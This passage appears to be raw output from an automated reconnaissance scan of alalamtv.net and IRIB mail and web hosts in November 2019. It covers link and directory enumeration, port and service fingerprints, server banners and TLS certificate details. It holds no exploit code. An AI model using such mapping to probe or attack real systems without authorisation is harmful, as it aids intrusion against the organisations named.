5587 - http://www.alalamtv.net/rss/syria
5588 - http://www.alalamtv.net/rss/tunisia
5589 - http://www.alalamtv.net/rss/turkey
5590 - http://www.alalamtv.net/rss/urgent
5591 - http://www.alalamtv.net/rss/videos
5592 - http://www.alalamtv.net/rss/yemen
5593 - http://www.facebook.com/alalamarabic
5594 - http://youtube.com/c/AlalamNewsChannel
5595 - https://certify.alexametrics.com/atrk.gif?account=4vvKs1DlQy20Y8
5596 - https://plus.google.com/+alalam
5597 - https://t.me/alalamarabic
5598 - https://twitter.com/alalamarabic
5599 - https://www.alalamtv.net/graphic
5600 - https://www.alalamtv.net/kashkol
5601 - https://www.alalamtv.net/marawaykom
5602 - https://www.alalamtv.net/newscommentary
5603 - https://www.alalamtv.net/reports
5604 - https://www.alalamtv.net/todaysissue
5605 - https://www.alalamtv.net/yoghal
5606 - https://www.gstatic.com/firebasejs/5.10.1/firebase-app.js
5607 - https://www.gstatic.com/firebasejs/5.10.1/firebase-messaging.js
5608 - https://www.instagram.com/alalamarabic/
5609 - https://www.youtube.com/c/AlalamNewsChannel
5610 Total external links: 114
5611
5612+ Email addresses found:
5613 Total email address found: 0
5614
5615+ Directories found:
5616 - https://ns3.alalamtv.net/media.alalamtv.net/ (404 Not Found)
5617 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/ (404 Not Found)
5618 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/ (404 Not Found)
5619 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/ (404 Not Found)
5620 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/ (404 Not Found)
5621 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/22/ (404 Not Found)
5622 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/ (404 Not Found)
5623 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/06/ (404 Not Found)
5624 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/20/ (404 Not Found)
5625 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/30/ (404 Not Found)
5626 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/31/ (404 Not Found)
5627 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/ (404 Not Found)
5628 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/01/ (404 Not Found)
5629 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/ (404 Not Found)
5630 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/03/ (404 Not Found)
5631 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/04/ (404 Not Found)
5632 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/05/ (404 Not Found)
5633 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/07/ (404 Not Found)
5634 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/08/ (404 Not Found)
5635 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/ (404 Not Found)
5636 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/ (404 Not Found)
5637 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/ (404 Not Found)
5638 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/ (404 Not Found)
5639 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/ (404 Not Found)
5640 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/ (404 Not Found)
5641 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/ (404 Not Found)
5642 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/ (404 Not Found)
5643 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/17/ (404 Not Found)
5644 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/18/ (404 Not Found)
5645 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/19/ (404 Not Found)
5646 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/20/ (404 Not Found)
5647 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/21/ (404 Not Found)
5648 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/22/ (404 Not Found)
5649 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/23/ (404 Not Found)
5650 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/ (404 Not Found)
5651 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/25/ (404 Not Found)
5652 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/ (404 Not Found)
5653 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/ (404 Not Found)
5654 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/ (404 Not Found)
5655 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/07/ (404 Not Found)
5656 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/ (404 Not Found)
5657 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/07/ (404 Not Found)
5658 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/08/ (404 Not Found)
5659 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/ (404 Not Found)
5660 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/ (404 Not Found)
5661 - https://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/ (404 Not Found)
5662 - https://ns3.alalamtv.net/platform-api.sharethis.com/ (404 Not Found)
5663 - https://ns3.alalamtv.net/platform-api.sharethis.com/js/ (404 Not Found)
5664 - https://ns3.alalamtv.net/sites/ (403 Forbidden)
5665 - https://ns3.alalamtv.net/sites/2/ (403 Forbidden)
5666 - https://ns3.alalamtv.net/sites/2/style/ (403 Forbidden)
5667 - https://ns3.alalamtv.net/sites/2/style/css/ (403 Forbidden)
5668 - https://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/ (403 Forbidden)
5669 - https://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/css/ (403 Forbidden)
5670 - https://ns3.alalamtv.net/sites/2/style/image/ (403 Forbidden)
5671 - https://ns3.alalamtv.net/sites/2/style/js/ (403 Forbidden)
5672 - https://ns3.alalamtv.net/style/ (403 Forbidden)
5673 - https://ns3.alalamtv.net/style/js/ (403 Forbidden)
5674 - https://ns3.alalamtv.net/widget/ (403 Forbidden)
5675 - https://ns3.alalamtv.net/widget/notification/ (403 Forbidden)
5676 Total directories: 60
5677
5678+ Directory indexing found:
5679 Total directories with indexing: 0
5680
5681----------------------------------------------------------------------
5682
5683
5684 + URL to crawl: http://cp.alalamtv.net.:8080
5685 + Date: 2019-11-24
5686
5687 + Crawling URL: http://cp.alalamtv.net.:8080:
5688 + Links:
5689 + Crawling http://cp.alalamtv.net.:8080 (401 Unauthorized)
5690 + Searching for directories...
5691 + Searching open folders...
5692
5693
5694 + URL to crawl: http://www.alalamtv.net.:8080
5695 + Date: 2019-11-24
5696
5697 + Crawling URL: http://www.alalamtv.net.:8080:
5698 + Links:
5699 + Crawling http://www.alalamtv.net.:8080 (401 Unauthorized)
5700 + Searching for directories...
5701 + Searching open folders...
5702
5703
5704 + URL to crawl: http://ns3.alalamtv.net:8080
5705 + Date: 2019-11-24
5706
5707 + Crawling URL: http://ns3.alalamtv.net:8080:
5708 + Links:
5709 + Crawling http://ns3.alalamtv.net:8080 (401 Unauthorized)
5710 + Searching for directories...
5711 + Searching open folders...
5712
5713--Finished--
5714Summary information for domain alalamtv.net.
5715-----------------------------------------
5716
5717 Domain Ips Information:
5718 IP: 77.36.164.111
5719 HostName: webmail.alalamtv.net. Type: A
5720 Country: Iran, Islamic Republic of
5721 Is Active: True (reset ttl 64)
5722 Port: 80/tcp open http syn-ack ttl 39 Server 1.0
5723 Script Info: | fingerprint-strings:
5724 Script Info: | FourOhFourRequest:
5725 Script Info: | HTTP/1.1 301 Moved Permanently
5726 Script Info: | Date: Mon, 25 Nov 2019 02:11:53 GMT
5727 Script Info: | Server: Server 1.0
5728 Script Info: | Location: https://mchautha.irib.ir/403.html
5729 Script Info: | Content-Length: 241
5730 Script Info: | Connection: close
5731 Script Info: | Content-Type: text/html; charset=iso-8859-1
5732 Script Info: | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
5733 Script Info: | <html><head>
5734 Script Info: | <title>301 Moved Permanently</title>
5735 Script Info: | </head><body>
5736 Script Info: | <h1>Moved Permanently</h1>
5737 Script Info: | <p>The document has moved <a href="https://mchautha.irib.ir/403.html">here</a>.</p>
5738 Script Info: | </body></html>
5739 Script Info: | GetRequest, HTTPOptions, RTSPRequest:
5740 Script Info: | HTTP/1.1 301 Moved Permanently
5741 Script Info: | Date: Mon, 25 Nov 2019 02:11:47 GMT
5742 Script Info: | Server: Server 1.0
5743 Script Info: | Location: https://mchautha.irib.ir/
5744 Script Info: | Content-Length: 233
5745 Script Info: | Connection: close
5746 Script Info: | Content-Type: text/html; charset=iso-8859-1
5747 Script Info: | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
5748 Script Info: | <html><head>
5749 Script Info: | <title>301 Moved Permanently</title>
5750 Script Info: | </head><body>
5751 Script Info: | <h1>Moved Permanently</h1>
5752 Script Info: | <p>The document has moved <a href="https://mchautha.irib.ir/">here</a>.</p>
5753 Script Info: |_ </body></html>
5754 Script Info: | http-methods:
5755 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
5756 Script Info: |_http-server-header: Server 1.0
5757 Script Info: |_http-title: Did not follow redirect to https://77.36.164.111/
5758 Port: 443/tcp open ssl/https syn-ack ttl 39 Server 1.0
5759 Script Info: | fingerprint-strings:
5760 Script Info: | FourOhFourRequest:
5761 Script Info: | HTTP/1.1 200 OK
5762 Script Info: | Date: Mon, 25 Nov 2019 02:11:56 GMT
5763 Script Info: | Server: Server 1.0
5764 Script Info: | X-Frame-Options: SAMEORIGIN
5765 Script Info: | X-Content-Type-Options: nosniff
5766 Script Info: | X-XSS-Protection: 1; mode=block
5767 Script Info: | Expires: Mon, 02 Dec 2019 02:11:56 GMT
5768 Script Info: | Cache-Control: public, max-age=604800
5769 Script Info: | Content-Type: text/html
5770 Script Info: | Last-Modified: Mon, 20 May 2019 11:44:19 GMT
5771 Script Info: | Accept-Ranges: bytes
5772 Script Info: | Vary: Accept-Encoding,User-Agent
5773 Script Info: | Content-Length: 25813
5774 Script Info: | Connection: close
5775 Script Info: | <!DOCTYPE html>
5776 Script Info: | <html lang="en">
5777 Script Info: | <head>
5778 Script Info: | <meta charset="UTF-8">
5779 Script Info: | <title>
5780 Script Info: | </title>
5781 Script Info: | <meta http-equiv='Content-Type' content='text/html; charset=utf8'>
5782 Script Info: | <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
5783 Script Info: | <META HTTP-EQUIV='CACHE-CONTROL' CONTENT='NO-CACHE'>
5784 Script Info: | <META HTTP-EQUIV='EXPIRES' CONTENT='0' />
5785 Script Info: | <META HTTP-EQUIV='PRAGMA' CONTENT='NO-CACHE'>
5786 Script Info: | <META HTTP-EQUIV='REFRESH' CONTENT='30;URL=
5787 Script Info: | GetRequest:
5788 Script Info: | HTTP/1.1 200 OK
5789 Script Info: | Date: Mon, 25 Nov 2019 02:11:53 GMT
5790 Script Info: | Server: Server 1.0
5791 Script Info: | X-Frame-Options: SAMEORIGIN
5792 Script Info: | X-Content-Type-Options: nosniff
5793 Script Info: | X-XSS-Protection: 1; mode=block
5794 Script Info: | Cache-Control: no-store, no-cache, must-revalidate, max-age=0
5795 Script Info: | Pragma: no-cache
5796 Script Info: | Content-Type: text/html;charset=UTF-8
5797 Script Info: | Content-Language: fa
5798 Script Info: | Expires: Thu, 01 Jan 1970 00:00:00 GMT
5799 Script Info: | Vary: Accept-Encoding,User-Agent
5800 Script Info: | Content-Length: 9960
5801 Script Info: | Set-Cookie: SZSESSION=4057tuozjiq5nphfp8g6707s;Path=/;HttpOnly;Secure
5802 Script Info: | Set-Cookie: CHMAIL_TEST=true;Secure
5803 Script Info: | Connection: close
5804 Script Info: | <!DOCTYPE html>
5805 Script Info: | <html class="no-js" lang="en">
5806 Script Info: | <head>
5807 Script Info: | <meta charset="UTF-8">
5808 Script Info: | <meta http-equiv="X-UA-Compatible" content="IE=9; IE=8; IE=7; IE=EDGE"/>
5809 Script Info: | <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=8.0, user-scalable=1"/>
5810 Script Info: | <meta name="viewport" content="width=device-width"/>
5811 Script Info: | <meta name="description"
5812 Script Info: | HTTPOptions:
5813 Script Info: | HTTP/1.1 200 OK
5814 Script Info: | Date: Mon, 25 Nov 2019 02:11:55 GMT
5815 Script Info: | Server: Server 1.0
5816 Script Info: | X-Frame-Options: SAMEORIGIN
5817 Script Info: | X-Content-Type-Options: nosniff
5818 Script Info: | X-XSS-Protection: 1; mode=block
5819 Script Info: | Expires: Mon, 24 Jan 2000 20:46:50 GMT
5820 Script Info: | Cache-Control: no-store, no-cache, must-revalidate, max-age=0
5821 Script Info: | Pragma: no-cache
5822 Script Info: | Allow: GET,HEAD,POST,OPTIONS
5823 Script Info: | Content-Length: 0
5824 Script Info: |_ Connection: close
5825 Script Info: |_http-favicon: Unknown favicon MD5: 3CE0B42B6DC7FDFA1CA72CF166798090
5826 Script Info: | http-methods:
5827 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
5828 Script Info: |_http-server-header: Server 1.0
5829 Script Info: |_http-title: \xD8\xB5\xD8\xAF\xD8\xA7 \xD9\x88 \xD8\xB3\xDB\x8C\xD9\x85\xD8\xA7\xDB\x8C \xD8\xAC\xD9\x85\xD9\x87\xD9\x88\xD8\xB1\xDB\x8C \xD8\xA7\xD8\xB3\xD9\x84\xD8\xA7\xD9\x85\xDB\x8C \xD8\xA7\xDB\x8C\xD8\xB1\xD8\xA7\xD9\x86
5830 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5831 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5832 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5833 Script Info: | Public Key type: rsa
5834 Script Info: | Public Key bits: 2048
5835 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5836 Script Info: | Not valid before: 2017-02-16T07:54:42
5837 Script Info: | Not valid after: 2020-02-16T07:54:42
5838 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5839 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5840 Script Info: |_ssl-date: TLS randomness does not represent time
5841 Script Info: | tls-alpn:
5842 Script Info: |_ http/1.1
5843 IP: 69.30.251.226
5844 HostName: ns4.alalamtv.net Type: NS
5845 Country: United States
5846 Is Active: True (echo-reply ttl 53)
5847 IP: 46.209.229.60
5848 HostName: ns2.alalamtv.net. Type: A
5849 Country: Iran, Islamic Republic of
5850 Is Active: True (reset ttl 64)
5851 Port: 53/tcp open domain? syn-ack ttl 107
5852 Script Info: | fingerprint-strings:
5853 Script Info: | DNSVersionBindReqTCP:
5854 Script Info: | version
5855 Script Info: |_ bind
5856 IP: 142.54.186.50
5857 HostName: search.alalamtv.net. Type: A
5858 Country: United States
5859 Is Active: True (reset ttl 64)
5860 Port: 80/tcp open http-proxy syn-ack ttl 51 Varnish http accelerator
5861 Script Info: | http-methods:
5862 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
5863 Script Info: |_http-server-header: Varnish
5864 Script Info: |_http-title: Did not follow redirect to https://www.alalamtv.net/
5865 Port: 443/tcp open ssl/http syn-ack ttl 53 nginx
5866 Script Info: | http-methods:
5867 Script Info: |_ Supported Methods: GET POST OPTIONS
5868 Script Info: |_http-title: Did not follow redirect to https://www.alalamtv.net/
5869 Script Info: | ssl-cert: Subject: commonName=*.alalamtv.net/organizationName=Alalam News Network/stateOrProvinceName=Tehran/countryName=IR
5870 Script Info: | Subject Alternative Name: DNS:*.alalamtv.net, DNS:alalamtv.net
5871 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5872 Script Info: | Public Key type: rsa
5873 Script Info: | Public Key bits: 2048
5874 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5875 Script Info: | Not valid before: 2019-03-26T17:10:30
5876 Script Info: | Not valid after: 2020-03-25T17:10:30
5877 Script Info: | MD5: e3e1 1754 be6d 2711 c449 5b59 fc4a 68fb
5878 Script Info: |_SHA-1: e926 36e6 cade 1c52 a9c1 bd46 83af d03d fdb9 585c
5879 Script Info: |_ssl-date: TLS randomness does not represent time
5880 Script Info: | tls-alpn:
5881 Script Info: |_ http/1.1
5882 Script Info: | tls-nextprotoneg:
5883 Script Info: |_ http/1.1
5884 IP: 77.36.164.103
5885 HostName: memxf.irib.ir Type: MX
5886 HostName: memxf.irib.ir Type: PTR
5887 Country: Iran, Islamic Republic of
5888 Is Active: True (reset ttl 64)
5889 Port: 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
5890 Script Info: |_smtp-commands: memxf.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
5891 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5892 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5893 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5894 Script Info: | Public Key type: rsa
5895 Script Info: | Public Key bits: 2048
5896 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5897 Script Info: | Not valid before: 2017-02-16T07:54:42
5898 Script Info: | Not valid after: 2020-02-16T07:54:42
5899 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5900 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5901 Script Info: |_ssl-date: TLS randomness does not represent time
5902 Script Info: Device type: general purpose|WAP
5903 Script Info: Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
5904 Os Info: Host: memxf.irib.ir
5905 IP: 77.36.164.104
5906 HostName: memxg.irib.ir Type: MX
5907 HostName: memxg.irib.ir Type: PTR
5908 Country: Iran, Islamic Republic of
5909 Is Active: True (reset ttl 64)
5910 Port: 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
5911 Script Info: |_smtp-commands: memxg.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
5912 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5913 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5914 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5915 Script Info: | Public Key type: rsa
5916 Script Info: | Public Key bits: 2048
5917 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5918 Script Info: | Not valid before: 2017-02-16T07:54:42
5919 Script Info: | Not valid after: 2020-02-16T07:54:42
5920 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5921 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5922 Script Info: |_ssl-date: TLS randomness does not represent time
5923 Script Info: Device type: general purpose|WAP
5924 Script Info: Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
5925 Os Info: Host: memxg.irib.ir
5926 IP: 77.36.164.105
5927 HostName: memxh.irib.ir Type: MX
5928 HostName: memxh.irib.ir Type: PTR
5929 Country: Iran, Islamic Republic of
5930 Is Active: True (reset ttl 64)
5931 Port: 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
5932 Script Info: |_smtp-commands: memxh.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
5933 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5934 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5935 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5936 Script Info: | Public Key type: rsa
5937 Script Info: | Public Key bits: 2048
5938 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5939 Script Info: | Not valid before: 2017-02-16T07:54:42
5940 Script Info: | Not valid after: 2020-02-16T07:54:42
5941 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5942 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5943 Script Info: |_ssl-date: TLS randomness does not represent time
5944 Script Info: Device type: general purpose|WAP
5945 Script Info: Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
5946 Os Info: Host: memxh.irib.ir
5947 IP: 77.36.164.106
5948 HostName: memxi.irib.ir Type: MX
5949 HostName: memxi.irib.ir Type: PTR
5950 Country: Iran, Islamic Republic of
5951 Is Active: True (reset ttl 64)
5952 IP: 77.36.164.107
5953 HostName: mail.alalamtv.net. Type: A
5954 Country: Iran, Islamic Republic of
5955 Is Active: True (reset ttl 64)
5956 Port: 110/tcp open pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
5957 Script Info: |_pop3-capabilities: TOP UIDL XOIP STLS EXPIRE(31 USER) USER SASL(PLAIN)
5958 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5959 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5960 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5961 Script Info: | Public Key type: rsa
5962 Script Info: | Public Key bits: 2048
5963 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5964 Script Info: | Not valid before: 2017-02-16T07:54:42
5965 Script Info: | Not valid after: 2020-02-16T07:54:42
5966 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5967 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5968 Script Info: |_ssl-date: TLS randomness does not represent time
5969 Port: 143/tcp open imap-proxy syn-ack ttl 39 nginx imap proxy
5970 Script Info: |_imap-capabilities: THREAD=ORDEREDSUBJECT completed OK CONDSTORE NAMESPACE LIST-EXTENDED ESORT AUTH=PLAIN IDLE WITHIN RIGHTS=ektx UIDPLUS ACL SORT I18NLEVEL=1 SEARCHRES SASL-IR CATENATE UNSELECT QUOTA IMAP4rev1 LITERAL+ MULTIAPPEND QRESYNC ID STARTTLSA0001 BINARY CHILDREN ENABLE ESEARCH
5971 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5972 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5973 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5974 Script Info: | Public Key type: rsa
5975 Script Info: | Public Key bits: 2048
5976 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5977 Script Info: | Not valid before: 2017-02-16T07:54:42
5978 Script Info: | Not valid after: 2020-02-16T07:54:42
5979 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5980 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5981 Script Info: |_ssl-date: TLS randomness does not represent time
5982 Port: 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
5983 Script Info: |_smtp-commands: miprxj.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
5984 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5985 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5986 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
5987 Script Info: | Public Key type: rsa
5988 Script Info: | Public Key bits: 2048
5989 Script Info: | Signature Algorithm: sha256WithRSAEncryption
5990 Script Info: | Not valid before: 2017-02-16T07:54:42
5991 Script Info: | Not valid after: 2020-02-16T07:54:42
5992 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
5993 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
5994 Script Info: |_ssl-date: TLS randomness does not represent time
5995 Port: 993/tcp open ssl/imap-proxy syn-ack ttl 39 nginx imap proxy
5996 Script Info: |_imap-capabilities: THREAD=ORDEREDSUBJECT completed CONDSTORE NAMESPACE LIST-EXTENDED OK AUTH=PLAINA0001 IDLE WITHIN RIGHTS=ektx UIDPLUS ACL SORT I18NLEVEL=1 SEARCHRES SASL-IR CATENATE UNSELECT QUOTA IMAP4rev1 LITERAL+ MULTIAPPEND QRESYNC ID ESORT BINARY CHILDREN ENABLE ESEARCH
5997 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
5998 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
5999 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6000 Script Info: | Public Key type: rsa
6001 Script Info: | Public Key bits: 2048
6002 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6003 Script Info: | Not valid before: 2017-02-16T07:54:42
6004 Script Info: | Not valid after: 2020-02-16T07:54:42
6005 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6006 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6007 Script Info: |_ssl-date: TLS randomness does not represent time
6008 Port: 995/tcp open ssl/pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
6009 Script Info: |_pop3-capabilities: TOP UIDL XOIP EXPIRE(31 USER) USER SASL(PLAIN)
6010 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
6011 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
6012 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6013 Script Info: | Public Key type: rsa
6014 Script Info: | Public Key bits: 2048
6015 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6016 Script Info: | Not valid before: 2017-02-16T07:54:42
6017 Script Info: | Not valid after: 2020-02-16T07:54:42
6018 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6019 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6020 Script Info: |_ssl-date: TLS randomness does not represent time
6021 Script Info: Device type: general purpose|WAP
6022 Script Info: Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
6023 Os Info: Host: miprxj.irib.ir
6024 IP: 77.36.164.108
6025 HostName: mail.alalamtv.net. Type: A
6026 Country: Iran, Islamic Republic of
6027 Is Active: True (reset ttl 64)
6028 Port: 110/tcp open pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
6029 Script Info: |_pop3-capabilities: XOIP UIDL SASL(PLAIN) EXPIRE(31 USER) STLS USER TOP
6030 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
6031 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
6032 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6033 Script Info: | Public Key type: rsa
6034 Script Info: | Public Key bits: 2048
6035 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6036 Script Info: | Not valid before: 2017-02-16T07:54:42
6037 Script Info: | Not valid after: 2020-02-16T07:54:42
6038 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6039 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6040 Script Info: |_ssl-date: TLS randomness does not represent time
6041 Port: 143/tcp open imap-proxy syn-ack ttl 39 nginx imap proxy
6042 Script Info: |_imap-capabilities: CATENATE AUTH=PLAIN QRESYNC completed OK CONDSTORE MULTIAPPEND SEARCHRES STARTTLSA0001 WITHIN CHILDREN I18NLEVEL=1 UNSELECT UIDPLUS THREAD=ORDEREDSUBJECT IDLE NAMESPACE ID SORT SASL-IR QUOTA RIGHTS=ektx BINARY ENABLE ACL ESORT ESEARCH LITERAL+ LIST-EXTENDED IMAP4rev1
